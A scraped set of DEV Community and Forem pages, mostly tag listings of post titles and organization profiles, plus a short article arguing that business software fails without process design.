Aggregator İbrahim SEZER İbrahim SEZER İbrahim SEZER Follow Dec 25 '25 High-Throughput IoT Log Aggregator # go # performance # testing # productivity 1 reaction Comments Add Comment 3 min read Avoiding "Out of Memory" Errors: Strategies for Efficient Heap Dump Analysis JillThornhill JillThornhill JillThornhill Follow Dec 10 '25 Avoiding "Out of Memory" Errors: Strategies for Efficient Heap Dump Analysis # java # outofmemoryerror # troubleshooting # performance Comments Add Comment 5 min read Tick to trade latency trading platforms on aws Eliana Lam Eliana Lam Eliana Lam Follow Dec 12 '25 Tick to trade latency trading platforms on aws # performance # architecture # cryptocurrency # aws Comments Add Comment 26 min read How to Reduce JavaScript Bundle Size in 2025 🚀 Frontend tools Frontend tools Frontend tools Follow Dec 10 '25 How to Reduce JavaScript Bundle Size in 2025 🚀 # webperf # frontend # performance # javascript Comments Add Comment 2 min read std::move doesn't move anything: A deep dive into Value Categorie TheGhost TheGhost TheGhost Follow Dec 10 '25 std::move doesn't move anything: A deep dive into Value Categorie # cpp # performance Comments Add Comment 1 min read n8n 2.0: Enhanced Security, Reliability & Performance | Automation Upgrade Omer Dahan Omer Dahan Omer Dahan Follow Dec 11 '25 n8n 2.0: Enhanced Security, Reliability & Performance | Automation Upgrade # news # performance # automation # security Comments Add Comment 5 min read How do you cache User Profiles with dynamic "Follow" buttons? Yassin Alm Yassin Alm Yassin Alm Follow Dec 11 '25 How do you cache User Profiles with dynamic "Follow" buttons? # architecture # java # performance Comments Add Comment 1 min read Data Integrity & Anti-Cheating Insight 105 Insight 105 Insight 105 Follow Jan 2 Data Integrity & Anti-Cheating # architecture # backend # security # performance Comments Add Comment 3 min read How to Monitor Performance of GIS and Mapping Apps Across Different Regions and Network Conditions Ankit Kumar Sinha Ankit Kumar Sinha Ankit Kumar Sinha Follow Dec 12 '25 How to Monitor Performance of GIS and Mapping Apps Across Different Regions and Network Conditions # mobile # monitoring # performance # networking Comments Add Comment 8 min read Building DNS Resolution and Domain Services with Go: A Practical Guide Jones Charles Jones Charles Jones Charles Follow Dec 10 '25 Building DNS Resolution and Domain Services with Go: A Practical Guide # go # performance # networking # webdev Comments Add Comment 7 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/t/productivity/page/2#main-content | Productivity Page 2 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Productivity Follow Hide Productivity includes tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Create Post submission guidelines Please check if your article contains information or discussion bases about productivity. From posts with the tag #productivity we expect tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. about #productivity Does my article fit the tag? It depends! Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. Older #productivity posts 1 2 3 4 5 6 7 8 9 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Smart Coding vs Vibe Coding: Engineering Discipline in the Age of AI Andrey Kolkov Andrey Kolkov Andrey Kolkov Follow Jan 12 Smart Coding vs Vibe Coding: Engineering Discipline in the Age of AI # programming # ai # productivity # architecture 1 reaction Comments Add Comment 15 min read How to ask awesome questions as a dev (Without Dying of Imposter Syndrome) Ishika-jain Ishika-jain Ishika-jain Follow Jan 12 How to ask awesome questions as a dev (Without Dying of Imposter Syndrome) # beginners # mentalhealth # productivity Comments Add Comment 4 min read dots-ocr: Open-Source OCR Outperforms Giants for Multilingual Automation Dr Hernani Costa Dr Hernani Costa Dr Hernani Costa Follow Jan 12 dots-ocr: Open-Source OCR Outperforms Giants for Multilingual Automation # ai # automation # machinelearning # productivity Comments Add Comment 4 min read The Limitations of Text Embeddings in RAG Applications: A Deep Engineering Dive Kumar Kislay Kumar Kislay Kumar Kislay Follow Jan 12 The Limitations of Text Embeddings in RAG Applications: A Deep Engineering Dive # productivity # sre # rag # machinelearning Comments Add Comment 19 min read The Power of the Duo: Why Strategic Partnerships are the Secret to Resilient Teams adegiamb adegiamb adegiamb Follow Jan 12 The Power of the Duo: Why Strategic Partnerships are the Secret to Resilient Teams # culture # softskills # productivity # management Comments Add Comment 4 min read Agentic Coding Tools Are Accelerating Output, Not Velocity Signadot Signadot Signadot Follow Jan 12 Agentic Coding Tools Are Accelerating Output, Not Velocity # ai # devops # kubernetes # productivity Comments Add Comment 5 min read Contextual Inference with Generative AI: Turning Messy Notes into Professional Meeting Minutes FARAZ FARHAN FARAZ FARHAN FARAZ FARHAN Follow Jan 12 Contextual Inference with Generative AI: Turning Messy Notes into Professional Meeting Minutes # ai # productivity # automation # promptengineering Comments Add Comment 4 min read Clean Code Is a Communication Tool, Not a Style Preference Shamim Ali Shamim Ali Shamim Ali Follow Jan 12 Clean Code Is a Communication Tool, Not a Style Preference # programming # beginners # productivity # coding Comments Add Comment 1 min read Notifications Are Not Just Messages. They Are Memory Triggers. Surhid Amatya Surhid Amatya Surhid Amatya Follow Jan 12 Notifications Are Not Just Messages. They Are Memory Triggers. # webdev # programming # productivity Comments Add Comment 3 min read Why DSO Integration Problems Surface as Delayed Decisions, Not System Failures CAmador CAmador CAmador Follow Jan 12 Why DSO Integration Problems Surface as Delayed Decisions, Not System Failures # api # backend # devops # productivity Comments Add Comment 4 min read How I Get Better UI from Claude: Research First, Build Second hassantayyab hassantayyab hassantayyab Follow Jan 12 How I Get Better UI from Claude: Research First, Build Second # webdev # ai # productivity # frontend 1 reaction Comments 1 comment 3 min read AI Workplace Integrations: ChatGPT Connectors & Expressive Voices Dr Hernani Costa Dr Hernani Costa Dr Hernani Costa Follow Jan 12 AI Workplace Integrations: ChatGPT Connectors & Expressive Voices # ai # automation # productivity # business Comments Add Comment 7 min read New Free Tool: Favicon Generator & ICO Creator (All Sizes, SVG Support, 100% Browser-Based) Frontend tools Frontend tools Frontend tools Follow Jan 12 New Free Tool: Favicon Generator & ICO Creator (All Sizes, SVG Support, 100% Browser-Based) # webdev # frontend # css # productivity Comments Add Comment 3 min read Human–AI Collaboration in Project Teams — Redefining Leadership and Decision-Making Aaryan Gupta Aaryan Gupta Aaryan Gupta Follow Jan 12 Human–AI Collaboration in Project Teams — Redefining Leadership and Decision-Making # ai # leadership # management # productivity Comments Add Comment 2 min read Trimming Toil: Automating Repetitive Development Tasks Anthony Barbieri Anthony Barbieri Anthony Barbieri Follow Jan 11 Trimming Toil: Automating Repetitive Development Tasks # automation # devops # github # productivity Comments Add Comment 2 min read I Built 97 Free Online Tools (and Games) While Learning to Ship Consistently Axonix Tools Axonix Tools Axonix Tools Follow Jan 12 I Built 97 Free Online Tools (and Games) While Learning to Ship Consistently # showdev # learning # productivity # webdev 3 reactions Comments 1 comment 2 min read From ChatGPT to Gemini: How We Built a GDPR-Compliant CV Parser for Odoo DERICK TEMFACK DERICK TEMFACK DERICK TEMFACK Follow Jan 11 From ChatGPT to Gemini: How We Built a GDPR-Compliant CV Parser for Odoo # python # webdev # ai # productivity Comments Add Comment 5 min read An Introduction to Docker: Stop asking your stakeholders to install Postgres! 🚀 Francisco Luna Francisco Luna Francisco Luna Follow Jan 11 An Introduction to Docker: Stop asking your stakeholders to install Postgres! 🚀 # webdev # devops # productivity # learning 1 reaction Comments Add Comment 5 min read Staying Uncomfortable: My Take on Growth at 23 Priyanka Priyanka Priyanka Follow Jan 12 Staying Uncomfortable: My Take on Growth at 23 # growth # productivity 1 reaction Comments Add Comment 2 min read I Built a Free All-in-One Tools Website — Here’s What I Learned the Hard Way Bhavin Sheth Bhavin Sheth Bhavin Sheth Follow Jan 12 I Built a Free All-in-One Tools Website — Here’s What I Learned the Hard Way # webdev # productivity # buildinpublic # sass 2 reactions Comments Add Comment 2 min read Navigating Long AI Chats Is Broken — So I Built a Chrome Extension to Fix It Lingarao Yechuri Lingarao Yechuri Lingarao Yechuri Follow Jan 12 Navigating Long AI Chats Is Broken — So I Built a Chrome Extension to Fix It # chatgpt # gemini # productivity # ux Comments Add Comment 2 min read Code Review Guidelines for Modern Development Teams Yeahia Sarker Yeahia Sarker Yeahia Sarker Follow Jan 12 Code Review Guidelines for Modern Development Teams # codequality # productivity # softwaredevelopment Comments Add Comment 3 min read The Creator's Paradox in the AI Era: How to Stay Generative When Everything Gets Scraped Narnaiezzsshaa Truong Narnaiezzsshaa Truong Narnaiezzsshaa Truong Follow Jan 11 The Creator's Paradox in the AI Era: How to Stay Generative When Everything Gets Scraped # discuss # ai # productivity # career Comments Add Comment 2 min read What's new in Webpixels v3 Alexis Enache Alexis Enache Alexis Enache Follow Jan 12 What's new in Webpixels v3 # webdev # programming # ai # productivity Comments Add Comment 3 min read EU Digital Omnibus: New Requirements for Websites and Online Services Mehwish Malik Mehwish Malik Mehwish Malik Follow Jan 12 EU Digital Omnibus: New Requirements for Websites and Online Services # webdev # ai # beginners # productivity 17 reactions Comments Add Comment 3 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/technm/tools-dont-fix-broken-systems-design-does-16hk#comments | Tools Don’t Fix Broken Systems — Design Does - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Technmsrisai Posted on Jan 9 Tools Don’t Fix Broken Systems — Design Does # systems # architecture # productivity # software Developers understand this instinctively: you can’t fix a bad architecture by adding more libraries. Yet businesses do this all the time. When operations feel slow or chaotic, the default response is to introduce another tool — a CRM, a dashboard, an automation platform. The assumption is that tooling will create structure. It rarely does. The Real Failure Mode: No System Design Most business software implementations fail for the same reason poorly designed systems fail: no clear source of truth unclear state transitions manual overrides everywhere logic scattered across people instead of processes From a systems perspective, this is technical debt — just in human form. Adding more tools without fixing flow only increases coupling and reduces observability. Businesses Are Distributed Systems Sales, operations, finance, and support behave like independent services: asynchronous event-driven stateful But unlike well-designed systems, many businesses lack: defined interfaces clear ownership predictable handoffs Software gets blamed for this, but the issue exists before the software is introduced. Why “Implementation” Is an Engineering Problem Good implementation starts the same way good system design does: Model the workflow Where does information originate? What events change state? Design for failure What happens when data is missing? Who resolves exceptions? Minimize friction If logging data feels optional, it will be skipped. Build observability Reports should answer real questions, not look impressive. When these principles are ignored, adoption drops and teams route around the system. A Common Anti-Pattern A typical setup looks like this: CRM for leads spreadsheets for tracking chat for approvals email for escalation At that point, the “system” exists only in people’s heads. From an engineering lens, this is a brittle design with zero guarantees. What Actually Works The best implementations I’ve seen follow one rule: Design the process first. Then choose the tool. When workflows are clear: tools become interchangeable automation becomes predictable data becomes trustworthy This mindset is what companies like Technetmark focus on — treating implementation as system design, not configuration. Final Thought Developers know this already: software amplifies structure. If the structure is weak, the software exposes it. If the structure is sound, the software disappears into the background. Business tooling is no different. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Technmsrisai Follow Joined Jan 8, 2026 More from Technmsrisai Why Zoho Implementation Fails (A Systems Perspective for Growing Teams) # zoho # cloud # software 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. 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https://forem.com/twilio | Twilio - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Follow Organization actions Twilio We can't wait to see what you build. We ❤️ developers. Unlock the magic of communications to improve human experience. Twilio has democratized channels like voice, text, chat, and video through APIs. Location San Francisco, CA and Worldwide Joined Joined on Aug 10, 2018 Twitter logo GitHub logo External link icon Support email community@twilio.com Meet the team See All Members Our story Started from a pizza box now we here. Our stack Python, PHP, C# / .NET, Java, Node, Ruby, Scala, Salesforce, iOS, and Android Post 182 posts published Member 55 members Create AI-generated art via SMS with Replicate in Python Lizzie Siegle Lizzie Siegle Lizzie Siegle Follow Sep 21 '23 Create AI-generated art via SMS with Replicate in Python # ai # replicate # twilio # stablediffusion 7 reactions Comments Add Comment 5 min read Build an AI Personal Trainer with LangChain Agents and SendGrid Lizzie Siegle Lizzie Siegle Lizzie Siegle Follow Sep 19 '23 Build an AI Personal Trainer with LangChain Agents and SendGrid # ai # langchain # twilio # sendgrid 3 reactions Comments 2 comments 17 min read Build an AI SMS Chatbot with Replicate, LLaMA 2, and LangChain Lizzie Siegle Lizzie Siegle Lizzie Siegle Follow Sep 12 '23 Build an AI SMS Chatbot with Replicate, LLaMA 2, and LangChain # ai # langchain # replicate # twilio 8 reactions Comments Add Comment 5 min read Build a SMS Bot that Answers questions over Docs with LangChain in Python Lizzie Siegle Lizzie Siegle Lizzie Siegle Follow Jun 15 '23 Build a SMS Bot that Answers questions over Docs with LangChain in Python # machinelearning # langchain # ai # nlp 10 reactions Comments Add Comment 8 min read Build a Basketball SMS Chatbot with LangChain Prompt Templates in Python Lizzie Siegle Lizzie Siegle Lizzie Siegle Follow May 31 '23 Build a Basketball SMS Chatbot with LangChain Prompt Templates in Python # machinelearning # langchain # twilio # ai 5 reactions Comments Add Comment 10 min read How to Fine-Tune an OpenAI ML Model with Node.js Lizzie Siegle Lizzie Siegle Lizzie Siegle Follow May 2 '23 How to Fine-Tune an OpenAI ML Model with Node.js # machinelearning # openai # ai 11 reactions Comments Add Comment 6 min read How to generate TwiML using Strings in C# Niels Swimburger.NET 🍔 Niels Swimburger.NET 🍔 Niels Swimburger.NET 🍔 Follow Mar 3 '23 How to generate TwiML using Strings in C# # dotnet # csharp # twilio Comments Add Comment 13 min read Use Raw String Literals to generate TwiML in C# 11 Niels Swimburger.NET 🍔 Niels Swimburger.NET 🍔 Niels Swimburger.NET 🍔 Follow Feb 15 '23 Use Raw String Literals to generate TwiML in C# 11 # dotnet # csharp # twilio 1 reaction Comments Add Comment 11 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://loujaybee.com | Tech & Product & Cloud & Developer Experience & Misc. Lou Bichard 👋 Tech & Product & Cloud & Developer Experience & Misc. Hey, I'm Lou 👋 I've worked in tech and have been writing code for 10 years, first as a front-end engineer, later in cloud and platform, in internal developer experience teams. I've championed UX. Ran training courses. Mentored full stack students, made bad decisions, hosted meet-ups and community events, built financial applications that landed millions of dollars in funding, broke production on government websites, freelanced as a tech writer and marketer, worked in start ups, attempted to launch several apps myself, and built a decently popular blog and YouTube channel. I currently work in product for Gitpod. I've written for many years on openupthecloud (read the mission ). This website is my slice of the internet where I write letters to friends about tech, product, content marketing and/or life. I love connecting, so don’t be afraid to reach out: find me on Twitter and LinkedIn , or just book time in my calendar , speak soon! Pages 🎤 Featured In 💬 Speaking Topics ℹ️ Info (e.g. speaker bio) 📕 Product/Engineering Influences Blog Posts 🔋 New york, ambition, and a ‘will to win’ 🔌 ChatGPT Plugins: What is the future of the interface? And is it AI? 📱 From Software Engineering ⇒ Product Management (A 3 Month Reflection) | 2026-01-13T08:49:27 |
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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Close Follow Organization actions InfraCloud Technologies Unleash Growth! We unleash growth by helping companies adopt cloud native technologies with our products and services! Location Newark, Delaware Joined Joined on May 11, 2020 Twitter logo GitHub logo External link icon Support email info@infracloud.io Employees 200 Meet the team See All Members Our stack All things Cloud Native and DevOps Post 100 posts published Member 52 members Batch Scheduling on Kubernetes: Comparing Apache YuniKorn, Volcano.sh, and Kueue Rahul Kadam Rahul Kadam Rahul Kadam Follow May 26 '25 Batch Scheduling on Kubernetes: Comparing Apache YuniKorn, Volcano.sh, and Kueue # batchscheduling # volcano # apacheyunikorn # kubernetes 1 reaction Comments Add Comment 7 min read Istio Consulting and Enterprise Implementation Partner InfraCloud InfraCloud InfraCloud Follow Apr 3 '25 Istio Consulting and Enterprise Implementation Partner # istio # istioconsulting Comments Add Comment 3 min read Metrics at a Glance for Production Clusters Ruturaj Kadikar Ruturaj Kadikar Ruturaj Kadikar Follow Mar 31 '25 Metrics at a Glance for Production Clusters # kubernetes # monitoring # sre # devops Comments Add Comment 9 min read Enterprise-grade Linkerd Support for Production Environment InfraCloud InfraCloud InfraCloud Follow Mar 31 '25 Enterprise-grade Linkerd Support for Production Environment # linkerd # linkerdsupport # linkerdconsulting Comments Add Comment 3 min read Enterprise-grade Istio Support for Production Environment InfraCloud InfraCloud InfraCloud Follow Mar 31 '25 Enterprise-grade Istio Support for Production Environment # istio # istiosupport Comments Add Comment 3 min read Get Kubernetes Consulting Services from Certified Experts InfraCloud InfraCloud InfraCloud Follow Mar 27 '25 Get Kubernetes Consulting Services from Certified Experts # kubernetes # kubernetesexperts # kubernetesconsulting Comments Add Comment 3 min read AI Bare Metal and Orchestration Platform by InfraCloud InfraCloud InfraCloud InfraCloud Follow Mar 27 '25 AI Bare Metal and Orchestration Platform by InfraCloud # ai # aicloud # baremetal Comments Add Comment 2 min read Boost Developer Engagement with DevRel as a Service InfraCloud InfraCloud InfraCloud Follow Mar 27 '25 Boost Developer Engagement with DevRel as a Service # devrel # developerelations # devadvocate # developerengagement Comments Add Comment 2 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/t/interview/page/8#main-content | Interview Page 8 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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Right menu How Does HashMap Handle Hash Collisions Internally realNameHidden realNameHidden realNameHidden Follow Nov 4 '25 How Does HashMap Handle Hash Collisions Internally # java # interview # collection 3 reactions Comments Add Comment 4 min read Coding Challenge Practice - Question 45 Bukunmi Odugbesan Bukunmi Odugbesan Bukunmi Odugbesan Follow Nov 4 '25 Coding Challenge Practice - Question 45 # interview # javascript # tutorial Comments Add Comment 1 min read What is Load Factor and Initial Capacity in HashMap? realNameHidden realNameHidden realNameHidden Follow Nov 3 '25 What is Load Factor and Initial Capacity in HashMap? # java # interview # collection 5 reactions Comments Add Comment 4 min read Difference between HashMap and ConcurrentHashMap in Java realNameHidden realNameHidden realNameHidden Follow Nov 3 '25 Difference between HashMap and ConcurrentHashMap in Java # java # collection # interview 5 reactions Comments Add Comment 4 min read Coding Challenge Practice - Question 44 Bukunmi Odugbesan Bukunmi Odugbesan Bukunmi Odugbesan Follow Nov 3 '25 Coding Challenge Practice - Question 44 # algorithms # interview # javascript Comments Add Comment 2 min read Don't get scammed on an interview. Qwerty Qwerty Qwerty Follow Nov 26 '25 Don't get scammed on an interview. # software # interview # scam # guide 55 reactions Comments 11 comments 13 min read Interview topics J B K P S R J B K P S R J B K P S R Follow Dec 7 '25 Interview topics # javascript # react # interview # career Comments 1 comment 11 min read Dicas para quem está se preparando para processos seletivos internacionais Anderson Contreira Anderson Contreira Anderson Contreira Follow Oct 31 '25 Dicas para quem está se preparando para processos seletivos internacionais # career # remote # interview # senior Comments Add Comment 2 min read Why DFS Topological Sort Writes Nodes on Backtracking Haris Abdullah Haris Abdullah Haris Abdullah Follow Oct 31 '25 Why DFS Topological Sort Writes Nodes on Backtracking # algorithms # computerscience # interview Comments Add Comment 2 min read Why Linux system design interview courses demand a different kind of engineering thinking Dev Loops Dev Loops Dev Loops Follow Dec 5 '25 Why Linux system design interview courses demand a different kind of engineering thinking # linux # systemdesign # interview # career 2 reactions Comments Add Comment 5 min read Differences between ArrayList and LinkedList in Java realNameHidden realNameHidden realNameHidden Follow Oct 31 '25 Differences between ArrayList and LinkedList in Java # java # interview # collection 5 reactions Comments Add Comment 4 min read Coding Challenge Practice - Question 41 Bukunmi Odugbesan Bukunmi Odugbesan Bukunmi Odugbesan Follow Oct 30 '25 Coding Challenge Practice - Question 41 # devchallenge # interview # javascript # tutorial Comments Add Comment 1 min read JavaFX In Action #22 with Matt Coley, diving into byte code and JARs with Recaf and JavaFX libraries Frank Delporte Frank Delporte Frank Delporte Follow Oct 30 '25 JavaFX In Action #22 with Matt Coley, diving into byte code and JARs with Recaf and JavaFX libraries # java # javafx # recaf # interview Comments Add Comment 3 min read What is JavaScript? Ashwin vijay Ashwin vijay Ashwin vijay Follow Oct 30 '25 What is JavaScript? # webdev # programming # interview # javascript Comments Add Comment 1 min read Coding Challenge Practice - Question 43 Bukunmi Odugbesan Bukunmi Odugbesan Bukunmi Odugbesan Follow Nov 2 '25 Coding Challenge Practice - Question 43 # javascript # algorithms # interview # tutorial 3 reactions Comments Add Comment 2 min read 🧠 How Does Java Achieve Platform Independence? realNameHidden realNameHidden realNameHidden Follow Oct 28 '25 🧠 How Does Java Achieve Platform Independence? # java # interview 5 reactions Comments Add Comment 4 min read Design and Simulate System Architecture before building Joshua Joshua Joshua Follow Dec 1 '25 Design and Simulate System Architecture before building # showdev # systemdesign # interview # tooling 1 reaction Comments Add Comment 2 min read Coding Challenge Practice - Question 39 Bukunmi Odugbesan Bukunmi Odugbesan Bukunmi Odugbesan Follow Oct 28 '25 Coding Challenge Practice - Question 39 # interview # testing # javascript # tutorial Comments Add Comment 1 min read Understanding Interfaces in Go — The Complete Beginner’s Guide Hugo Oliveira Hugo Oliveira Hugo Oliveira Follow Nov 10 '25 Understanding Interfaces in Go — The Complete Beginner’s Guide # go # beginners # programming # interview Comments Add Comment 3 min read MySQL学习 Liu yu Liu yu Liu yu Follow Nov 11 '25 MySQL学习 # interview # learning # mysql # sql Comments Add Comment 2 min read Interview-prep-app Ved Dixit Ved Dixit Ved Dixit Follow Nov 30 '25 Interview-prep-app # showdev # privacy # interview # ai 1 reaction Comments Add Comment 3 min read Amazon Spring 2026 SDE Internship Interview Guide: OA Patterns & The Ultimate BQ Strategy net programhelp net programhelp net programhelp Follow Dec 1 '25 Amazon Spring 2026 SDE Internship Interview Guide: OA Patterns & The Ultimate BQ Strategy # algorithms # interview # career # tutorial Comments Add Comment 5 min read What Happens Internally When You Write String s = new String("Hello"); in Java? realNameHidden realNameHidden realNameHidden Follow Oct 26 '25 What Happens Internally When You Write String s = new String("Hello"); in Java? # java # interview # string 5 reactions Comments Add Comment 3 min read Trapping Rain Water we_are_broken_compilers we_are_broken_compilers we_are_broken_compilers Follow Nov 29 '25 Trapping Rain Water # algorithms # interview # tutorial # beginners Comments Add Comment 5 min read Once You See the Pattern, You Can’t Unsee It — The Stack Story DRASHTI BUDDHADEV DRASHTI BUDDHADEV DRASHTI BUDDHADEV Follow Oct 29 '25 Once You See the Pattern, You Can’t Unsee It — The Stack Story # dsa # softwareengineering # career # interview 1 reaction Comments Add Comment 3 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://forem.com/courier | Courier - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Close Follow Organization actions Courier The fastest way to build notifications for your app ⚡ We 💜 developers. Notify users on any channel with one API. Email, text, push, chat, and more. Location San Francisco, CA Joined Joined on Nov 10, 2020 Twitter logo GitHub logo External link icon Support email support@courier.com Employees 18 Meet the team Post 92 posts published Member 8 members Sending Scheduled and Recurring Email Notifications with PHP Oleksii Klochai Oleksii Klochai Oleksii Klochai Follow Jul 27 '23 Sending Scheduled and Recurring Email Notifications with PHP # php # webdev # notifications # api Comments Add Comment 15 min read A Developer’s Guide to Notification APIs Oleksii Klochai Oleksii Klochai Oleksii Klochai Follow Jul 26 '23 A Developer’s Guide to Notification APIs # webdev # programming # api # notifications Comments Add Comment 8 min read Courier Inbox for web and mobile, a complete notification center Micah Zayner Micah Zayner Micah Zayner Follow Jun 14 '23 Courier 